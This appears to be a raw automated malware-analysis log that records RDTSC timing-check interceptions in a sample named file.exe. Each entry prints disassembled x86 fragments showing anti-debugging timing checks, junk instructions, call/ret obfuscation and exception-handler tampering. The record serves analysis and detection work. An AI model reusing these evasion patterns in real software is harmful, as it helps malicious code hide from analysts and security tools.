Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFC492 second address: CFC4AB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b jng 00007F5DA5418056h 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFC4AB second address: CFC4B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFC4B1 second address: CFC4B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF13A3 second address: CF13A9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCD3F3 second address: CCD40B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5DA5418064h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCD40B second address: CCD454 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4F03EA8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F5DA4F03EA9h 0x0000000e popad 0x0000000f je 00007F5DA4F03EA8h 0x00000015 push ebx 0x00000016 push esi 0x00000017 pop esi 0x00000018 pop ebx 0x00000019 pushad 0x0000001a jp 00007F5DA4F03E96h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFC605 second address: CFC615 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 jc 00007F5DA5418056h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFC615 second address: CFC62A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F5DA4F03E9Eh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFD35B second address: CFD364 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFD364 second address: CFD369 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFF6FE second address: CFF717 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F5DA5418060h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFF717 second address: CFF733 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4F03EA2h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D02E38 second address: D02E46 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F5DA5418056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D02E46 second address: D02E4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D02E4A second address: D02E60 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F5DA5418056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e jo 00007F5DA5418056h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D02E60 second address: D02E6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jng 00007F5DA4F03E96h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D03034 second address: D0308E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push ecx 0x0000000c pushad 0x0000000d jmp 00007F5DA541805Fh 0x00000012 jmp 00007F5DA5418069h 0x00000017 popad 0x00000018 pop ecx 0x00000019 mov eax, dword ptr [eax] 0x0000001b pushad 0x0000001c jg 00007F5DA5418058h 0x00000022 pushad 0x00000023 jnp 00007F5DA5418056h 0x00000029 pushad 0x0000002a popad 0x0000002b popad 0x0000002c popad 0x0000002d mov dword ptr [esp+04h], eax 0x00000031 push esi 0x00000032 push eax 0x00000033 push edx 0x00000034 jo 00007F5DA5418056h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D01F35 second address: D01F3B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D099A3 second address: D099A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D08EC6 second address: D08ECA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D08ECA second address: D08ED2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0916A second address: D09170 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D092E5 second address: D09303 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5DA5418063h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D09303 second address: D0931C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5DA4F03EA4h 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0931C second address: D09330 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5DA541805Eh 0x00000008 jne 00007F5DA5418056h 0x0000000e push esi 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D09330 second address: D09334 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D09803 second address: D09809 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D09809 second address: D0980D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0980D second address: D09811 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0D239 second address: D0D268 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4F03EA8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a pushad 0x0000000b popad 0x0000000c pop esi 0x0000000d popad 0x0000000e push eax 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F5DA4F03E9Ah 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0D268 second address: D0D26C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0D371 second address: D0D37B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F5DA4F03E96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0D930 second address: D0D934 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0D9B1 second address: D0D9B7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0DD2B second address: D0DD42 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jl 00007F5DA5418056h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jbe 00007F5DA5418058h 0x00000015 push esi 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0DF33 second address: D0DF46 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4F03E9Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0DF46 second address: D0DF4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0DF4C second address: D0DF50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0DF50 second address: D0DF92 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA541805Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007F5DA541805Eh 0x00000012 jne 00007F5DA5418058h 0x00000018 popad 0x00000019 nop 0x0000001a or si, EDD7h 0x0000001f xchg eax, ebx 0x00000020 push eax 0x00000021 push edx 0x00000022 jc 00007F5DA541805Ch 0x00000028 jnp 00007F5DA5418056h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0DF92 second address: D0DFA5 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F5DA4F03E98h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0DFA5 second address: D0DFBA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA5418061h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0DFBA second address: D0DFBF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0DFBF second address: D0DFC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0E4B7 second address: D0E4BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D10169 second address: D1016D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D11D1C second address: D11D26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F5DA4F03E96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D14EEB second address: D14EF5 instructions: 0x00000000 rdtsc 0x00000002 je 00007F5DA541805Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1675A second address: D1675E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D16C6B second address: D16C71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17C3A second address: D17C3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D18D1D second address: D18D23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D18D23 second address: D18D87 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4F03E9Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007F5DA4F03E98h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 0000001Ah 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 mov bx, A756h 0x0000002a and bl, 0000006Eh 0x0000002d push 00000000h 0x0000002f sub dword ptr [ebp+122D1EE5h], ecx 0x00000035 push 00000000h 0x00000037 mov edi, 226DE7B2h 0x0000003c xchg eax, esi 0x0000003d ja 00007F5DA4F03EA4h 0x00000043 push eax 0x00000044 pushad 0x00000045 push eax 0x00000046 push edx 0x00000047 push edi 0x00000048 pop edi 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1ADE1 second address: D1ADEA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1A051 second address: D1A058 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1B050 second address: D1B054 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1CD86 second address: D1CD8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1CD8F second address: D1CE31 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jnc 00007F5DA5418064h 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push ebp 0x00000012 call 00007F5DA5418058h 0x00000017 pop ebp 0x00000018 mov dword ptr [esp+04h], ebp 0x0000001c add dword ptr [esp+04h], 0000001Ch 0x00000024 inc ebp 0x00000025 push ebp 0x00000026 ret 0x00000027 pop ebp 0x00000028 ret 0x00000029 mov edi, dword ptr [ebp+122D3B23h] 0x0000002f push 00000000h 0x00000031 jno 00007F5DA541806Ch 0x00000037 push 00000000h 0x00000039 mov dword ptr [ebp+122DBA72h], eax 0x0000003f xchg eax, esi 0x00000040 pushad 0x00000041 push esi 0x00000042 jmp 00007F5DA5418065h 0x00000047 pop esi 0x00000048 jmp 00007F5DA5418064h 0x0000004d popad 0x0000004e push eax 0x0000004f push edx 0x00000050 pushad 0x00000051 pushad 0x00000052 popad 0x00000053 push eax 0x00000054 push edx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1C04B second address: D1C051 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1CF82 second address: D1D023 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA541805Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov ebx, edi 0x0000000e mov ebx, 4163239Eh 0x00000013 push dword ptr fs:[00000000h] 0x0000001a push 00000000h 0x0000001c push esi 0x0000001d call 00007F5DA5418058h 0x00000022 pop esi 0x00000023 mov dword ptr [esp+04h], esi 0x00000027 add dword ptr [esp+04h], 0000001Dh 0x0000002f inc esi 0x00000030 push esi 0x00000031 ret 0x00000032 pop esi 0x00000033 ret 0x00000034 mov edi, dword ptr [ebp+124520A4h] 0x0000003a call 00007F5DA5418061h 0x0000003f xor edi, dword ptr [ebp+122D38D5h] 0x00000045 pop ebx 0x00000046 mov dword ptr fs:[00000000h], esp 0x0000004d jnl 00007F5DA5418057h 0x00000053 clc 0x00000054 mov eax, dword ptr [ebp+122D0C99h] 0x0000005a adc edi, 33C2B4E0h 0x00000060 push FFFFFFFFh 0x00000062 push 00000000h 0x00000064 push edi 0x00000065 call 00007F5DA5418058h 0x0000006a pop edi 0x0000006b mov dword ptr [esp+04h], edi 0x0000006f add dword ptr [esp+04h], 00000016h 0x00000077 inc edi 0x00000078 push edi 0x00000079 ret 0x0000007a pop edi 0x0000007b ret 0x0000007c push eax 0x0000007d pushad 0x0000007e pushad 0x0000007f push eax 0x00000080 push edx 0x00000081 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1D023 second address: D1D049 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5DA4F03EA0h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F5DA4F03E9Fh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1EE7C second address: D1EF0E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA5418060h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007F5DA5418058h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 00000019h 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 jmp 00007F5DA541805Bh 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push ebp 0x0000002e call 00007F5DA5418058h 0x00000033 pop ebp 0x00000034 mov dword ptr [esp+04h], ebp 0x00000038 add dword ptr [esp+04h], 0000001Ah 0x00000040 inc ebp 0x00000041 push ebp 0x00000042 ret 0x00000043 pop ebp 0x00000044 ret 0x00000045 mov dword ptr [ebp+122DBA72h], ebx 0x0000004b push 00000000h 0x0000004d mov edi, dword ptr [ebp+122D3060h] 0x00000053 push eax 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 jmp 00007F5DA5418064h 0x0000005c jnp 00007F5DA5418056h 0x00000062 popad 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D20092 second address: D20099 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D20099 second address: D200AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jng 00007F5DA5418064h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D20201 second address: D20205 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D20205 second address: D20235 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jns 00007F5DA5418056h 0x00000010 jmp 00007F5DA541805Ch 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F5DA5418061h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D21256 second address: D212C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 nop 0x00000008 xor dword ptr [ebp+122D359Ch], edx 0x0000000e push dword ptr fs:[00000000h] 0x00000015 sbb di, 56A2h 0x0000001a mov dword ptr fs:[00000000h], esp 0x00000021 push 00000000h 0x00000023 push edx 0x00000024 call 00007F5DA4F03E98h 0x00000029 pop edx 0x0000002a mov dword ptr [esp+04h], edx 0x0000002e add dword ptr [esp+04h], 00000018h 0x00000036 inc edx 0x00000037 push edx 0x00000038 ret 0x00000039 pop edx 0x0000003a ret 0x0000003b mov eax, dword ptr [ebp+122D1751h] 0x00000041 xor bh, 00000037h 0x00000044 push FFFFFFFFh 0x00000046 add dword ptr [ebp+122D1EE5h], ecx 0x0000004c nop 0x0000004d push eax 0x0000004e push edx 0x0000004f jmp 00007F5DA4F03EA6h 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D212C1 second address: D212D8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F5DA541805Ah 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f push esi 0x00000010 pop esi 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D212D8 second address: D212DD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D20235 second address: D202DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ecx 0x0000000b call 00007F5DA5418058h 0x00000010 pop ecx 0x00000011 mov dword ptr [esp+04h], ecx 0x00000015 add dword ptr [esp+04h], 00000018h 0x0000001d inc ecx 0x0000001e push ecx 0x0000001f ret 0x00000020 pop ecx 0x00000021 ret 0x00000022 mov dword ptr [ebp+124526C4h], esi 0x00000028 push dword ptr fs:[00000000h] 0x0000002f and edi, 67DC0A74h 0x00000035 mov dword ptr fs:[00000000h], esp 0x0000003c push 00000000h 0x0000003e push edx 0x0000003f call 00007F5DA5418058h 0x00000044 pop edx 0x00000045 mov dword ptr [esp+04h], edx 0x00000049 add dword ptr [esp+04h], 00000016h 0x00000051 inc edx 0x00000052 push edx 0x00000053 ret 0x00000054 pop edx 0x00000055 ret 0x00000056 jmp 00007F5DA5418064h 0x0000005b mov eax, dword ptr [ebp+122D0D95h] 0x00000061 mov edi, dword ptr [ebp+122D39FFh] 0x00000067 jp 00007F5DA541805Ch 0x0000006d xor dword ptr [ebp+122D25E8h], esi 0x00000073 push FFFFFFFFh 0x00000075 mov edi, esi 0x00000077 nop 0x00000078 jbe 00007F5DA541805Eh 0x0000007e jp 00007F5DA5418058h 0x00000084 push eax 0x00000085 jnl 00007F5DA5418064h 0x0000008b pushad 0x0000008c push eax 0x0000008d push edx 0x0000008e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D202DE second address: D202E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D223A1 second address: D223A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D223A5 second address: D223BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F5DA4F03E9Ah 0x0000000b popad 0x0000000c push eax 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D24140 second address: D24145 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D24145 second address: D241D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5DA4F03EA6h 0x00000008 jo 00007F5DA4F03E96h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp], eax 0x00000014 push 00000000h 0x00000016 push edx 0x00000017 call 00007F5DA4F03E98h 0x0000001c pop edx 0x0000001d mov dword ptr [esp+04h], edx 0x00000021 add dword ptr [esp+04h], 00000017h 0x00000029 inc edx 0x0000002a push edx 0x0000002b ret 0x0000002c pop edx 0x0000002d ret 0x0000002e mov dword ptr [ebp+122D1D79h], ecx 0x00000034 and bh, 00000042h 0x00000037 push 00000000h 0x00000039 or dword ptr [ebp+12475969h], esi 0x0000003f push 00000000h 0x00000041 push 00000000h 0x00000043 push edi 0x00000044 call 00007F5DA4F03E98h 0x00000049 pop edi 0x0000004a mov dword ptr [esp+04h], edi 0x0000004e add dword ptr [esp+04h], 0000001Ch 0x00000056 inc edi 0x00000057 push edi 0x00000058 ret 0x00000059 pop edi 0x0000005a ret 0x0000005b push eax 0x0000005c pushad 0x0000005d jg 00007F5DA4F03E98h 0x00000063 pushad 0x00000064 jng 00007F5DA4F03E96h 0x0000006a push eax 0x0000006b push edx 0x0000006c rdtsc
